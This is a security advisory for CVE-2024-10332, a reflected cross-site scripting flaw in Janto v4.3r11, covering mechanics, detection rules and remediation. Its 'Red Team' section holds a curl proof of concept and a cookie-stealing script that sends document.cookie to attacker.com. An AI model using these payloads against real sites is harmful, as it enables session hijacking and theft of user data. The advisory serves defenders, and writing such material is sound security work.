CVE-2024-10332

Executive Summary

CVE-2024-10332 is a stored/reflected Cross-Site Scripting (XSS) vulnerability affecting Janto v4.3r11, a product by Impronta. The flaw resides in the /abonados/public/janto/main.php endpoint, allowing an attacker to inject arbitrary JavaScript code into a victim's browser by crafting a malicious URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but no authentication, making it a viable vector for phishing, session hijacking, or defacement campaigns. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the lack of a patch and public PoC details elevate the risk for unmonitored deployments.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It is a standalone web application vulnerability in a proprietary PHP-based system.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click the malicious link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The low EPSS score suggests limited active exploitation, but the absence of a patch and the simplicity of the attack make it a persistent risk for exposed instances.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the main.php script of Janto's subscriber management module. The endpoint /abonados/public/janto/main.php does not properly sanitize user-supplied input in query parameters (e.g., ?param=<script>alert(1)</script>). When a victim visits the crafted URL, the injected script executes in the context of the vulnerable domain, bypassing the same-origin policy.

Attack Flow:

1. Attacker crafts a URL: https://target.com/abonados/public/janto/main.php?name=<script>/* malicious code */</script>
2. Victim clicks the link (e.g., via phishing email).
3. The server reflects the input without sanitization.
4. The victim's browser executes the injected JavaScript.

Impact: Session cookie theft, redirection to phishing pages, keylogging, or defacement.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in main.php where user input is echoed directly without escaping. A patched version would use htmlspecialchars() or equivalent output encoding.

Vulnerable Code (Conceptual):

<?php
$name = $_GET['name'];
echo "Hello, " . $name;
?>

Patched Code (Conceptual):

<?php
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo "Hello, " . $name;
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A test instance of Janto v4.3r11 (e.g., via Docker or local setup).
• A web browser with developer tools.

Proof of Concept (PoC):

# Basic XSS payload
curl "http://target/abonados/public/janto/main.php?name=<script>alert('XSS')</script>"

Advanced Payload (Cookie Stealing):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Lab Setup:

1. Deploy Janto v4.3r11 in a controlled environment.
2. Use a tool like ngrok to expose a local server for receiving stolen data.
3. Craft the malicious URL and send it to a test victim (e.g., via a local email server).

Blue Team

Detection Steps:

1. Monitor web server logs for unusual query parameters containing <script> or onerror= patterns.
2. Deploy a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Use browser-based XSS filters (e.g., X-XSS-Protection header).

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/abonados/public/janto/main.php" AND uri_query=*<script>*
| table _time, clientip, uri_query, status

Indicators of Compromise (IOCs)

• URL Pattern: /abonados/public/janto/main.php?*<script>*
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the victim's browser.
• Log Entries: GET /abonados/public/janto/main.php?name=<script>... with non-standard parameters.
• File Hashes: N/A (no file upload involved).

Detection Engineering

YARA Rule

rule CVE_2024_10332_XSS_Janto {
    meta:
        description = "Detects reflected XSS attempts against Janto v4.3r11"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10332"
    strings:
        $xss_pattern = /\/abonados\/public\/janto\/main\.php\?.*<script/i
    condition:
        $xss_pattern
}

Sigma Rule

title: Reflected XSS Attempt Against Janto v4.3r11
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with script tags in the query string targeting Janto main.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '/abonados/public/janto/main.php'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10332 Janto XSS Attempt"; flow:to_server; content:"/abonados/public/janto/main.php"; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize all user-supplied input in main.php using htmlspecialchars() or a similar function.
2. WAF Rules: Deploy a WAF (e.g., ModSecurity) with rules to block <script> tags in query parameters.
3. Content Security Policy (CSP): Add a CSP header to restrict script execution: Content-Security-Policy: default-src 'self'; script-src 'self'.
4. HTTP Headers: Set X-XSS-Protection: 1; mode=block and X-Content-Type-Options: nosniff.

Long-Term Fix:

• Upgrade to a patched version once released by Impronta.
• Conduct a full security audit of the Janto application.

Workaround:

• If patching is not possible, restrict access to /abonados/public/janto/main.php via .htaccess or firewall rules to trusted IPs only.

Valters IT
Securing Digital Frontiers